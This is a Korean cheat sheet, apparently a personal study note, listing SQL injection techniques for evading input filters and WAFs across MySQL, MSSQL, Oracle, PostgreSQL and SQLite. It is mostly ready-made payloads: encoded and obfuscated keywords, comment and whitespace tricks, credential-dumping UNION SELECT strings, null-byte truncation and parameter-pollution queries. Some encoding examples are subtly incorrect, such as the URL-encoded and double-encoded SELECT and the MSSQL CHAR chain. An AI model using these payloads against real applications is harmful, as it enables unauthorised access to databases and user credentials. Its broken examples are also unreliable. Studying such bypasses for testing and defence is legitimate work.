SQL Injection 필터링 모음
1. 문자열 우회법
1.1. URL 인코딩
- 설명: SQL 예약어, 특수문자, 공백 등을 %+16진수로 변환해서 필터를 우회
- 예시:
SELECT → 53%45%4c%45%43%54 - 조건: 모든 DB에서 가능 (MySQL, MSSQL, Oracle, PostgreSQL, SQLite)
1.2. URL 더블 인코딩
- 설명: SQL 예약어, 특수문자, 공백 등을 %+16진수로 변환을 두번해서 필터를 우회
- 예시:
SELECT → 35%33%25%34%35%25%34%63%25%34%35%25%34%33%25%35%34 - 조건: 모든 DB에서 가능 (MySQL, MSSQL, Oracle, PostgreSQL, SQLite)
1.3. 16진수/ASCII 인코딩
- 설명: 문자열, 키워드를 hex 값(0x...)으로 넣거나, CHAR() 등 함수로 조합
- 예시:
MySQL
SELECT → 0x53454c454354, SELECT → CHAR(83,69,76,69,67,84)
MSSQL
SELECT → 0x53454c454354, SELECT → CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)CHAR(67)+CHAR(84)
Oracle
SELECT → CHR(83)||CHR(69)||CHR(76)||CHR(69)||CHR(67)||CHR(84)
PostgreSQL
SELECT → CHR(83)||CHR(69)||CHR(76)||CHR(69)||CHR(67)||CHR(84)
SQLite
SELECT → CHAR(83,69,76,69,67,84) - 조건: DB마다 다름
1.4. 2진수
- 설명: 문자열, 키워드를 2진수(0b...), CHAR(), 또는 문자열 함수로 표현해서 필터를 우회하는 방식.
DB마다 함수명/지원 방식이 다름. - 예시:
SELECT → CHAR(0b1010011, 0b1000101, 0b1001100, 0b1000101, 0b1000011, 0b1010100); - 조건: MySQL만 가능
1.5. 대소문자/혼합
- 설명: SQL은 대소문자 구분하지 않으므로 필터가 한쪽만 막을 때 회피
- 예시:
SeLeCt
sElEcT - 조건: 모든 DB에서 가능 (MySQL, MSSQL, Oracle, PostgreSQL, SQLite)
1.6. 키워드/문자열 결합
- 설명: 필터가 SELECT를 막아도 문자열을 분해해서 조합
- 예시:
MySQL/SQLite: 'SEL' 'ECT'
MSSQL: 'SEL'+'ECT'
Oracle/PostgreSQL: 'SEL'||'ECT' - 조건: DB마다 다름
1.7. 키워드 변형
- 설명: 키워드에 문자 삽입, 반복 등으로 패턴 우회
- 예시:
MySQL
SELECT → SELSELECTECT, SELE%0bCT, SELE%09CT, SELE%0aCT, SELE%0cCT, SELE%a0CT
MSSQL/Oracle/PostgreSQL/SQLite
SELECT → SELE%09CT - 조건: DB마다 다름
1.8. 주석 활용
- 설명: 주석을 사용해 키워드 중간을 끊어서 필터 우회
예시:
SEL/**/ECT - 조건: 모든 DB에서 가능 (MySQL, MSSQL, Oracle, PostgreSQL, SQLite)
1.9. 슬래시 //, 파괴적 주석
- 설명: MySQL 등에서 지원하는 인라인 주석으로 필터 우회
- 예시:
SEL//ECT - 조건: MySQL만 가능
1.10. 기타 인코딩 (Unicode 등)
- 설명: Unicode, Base64, Ascii-hex, 이중 인코딩 등 다양한 인코딩 시도
- 예시:
Base64: SELECT → U0VMRUNU
Unicode: SELECT → %u0053%u0045%u004C%u0045%u0043%u0054 - 조건: 모든 DB에서 가능 (MySQL, MSSQL, Oracle, PostgreSQL, SQLite)
2. 공백(Whitespace) 우회법
2.1. 주석으로 대체
- 설명: SQL에서는 주석을 공백처럼 사용 가능
- 예시:
MySQL/MSSQL/Oracle/PostgreSQL/SQLite
UNION/**/SELECT
MySQL
UNION/*!*/SELECT - 조건: DB마다 다름
2.2 . 특수문자/인코딩
- 설명: %20, %0a, %09 등 인코딩된 공백/탭/줄바꿈 문자
- 예시:
MySQL
UNION%09SELECT, UNION%0aSELECT, UNION%20SELECT, UNION%0cSELECT, UNION%0bSELECT, UNION%a0SELECT
MSSQL/Oracle/PostgreSQL/SQLite
UNION%20SELECT, UNION%09SELECT - 조건: DB마다 다름
2.3. 특수문자/패턴(%, +, 등)으로 교란
- 설명: +기호(공백으로 인식, 특히 URL에서)
- 예시:
union+select
union%2bselect (%2b는 +) - 조건: 모든 DB에서 가능 (MySQL, MSSQL, Oracle, PostgreSQL, SQLite)
3. 주석(Comment) 우회법
3.1. # 샵 주석
- 설명: MySQL 등에서 한 줄 주석으로 사용
- 예시:
' UNION SELECT user, pass FROM users # - 조건: MySQL, SQLite만 가능
3.2. URL 인코딩 주석
- 설명: 주석 기호를 인코딩해서 필터 우회
- 예시:
MySQL/SQLite
' UNION SELECT user, pass FROM users %23
MSSQL/Oracle/PostgreSQL
' UNION SELECT user, pass FROM users %2d%2d - 조건: DB마다 다름
3.3. 널 바이트(%00) 활용
- 설명: 널 바이트로 쿼리 뒷부분 무시
- 예시:
' UNION SELECT user, pass FROM users %00 - 조건: MySQL만 가능
4. HTTP 파라미터 오염(HPP, HPF)
- 설명: 동일한 파라미터 여러 개 전송해서, 필터 우회
- 예시:
/?id=admin&id=' or 1=1# (서버 환경 따라 다르게 파싱)
5. 동의어 함수, 함수 치환
- 설명: 같은 기능의 여러 함수로 필터/시그니처 우회
- 예시:
substring() → mid(), substr()
ascii() → hex(), bin()
6. 참고 자료
https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF
SQL Injection Bypassing WAF | OWASP Foundation
SQL Injection Bypassing WAF on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.
owasp.org
https://portswigger.net/support/sql-injection-bypassing-common-filters
SQL Injection: Bypassing Common Filters
SQL Injection: Bypassing Common Filters In some situations, an application that is vulnerable to SQL injection (SQLi) may implement various input filters ...
portswigger.net
https://code.google.com/archive/p/teenage-mutant-ninja-turtles/wikis/BasicObfuscation.wiki
Google Code Archive - Long-term storage for Google Code Project Hosting.
code.google.com
https://code.google.com/archive/p/teenage-mutant-ninja-turtles/wikis/AdvancedObfuscation.wiki
Google Code Archive - Long-term storage for Google Code Project Hosting.
code.google.com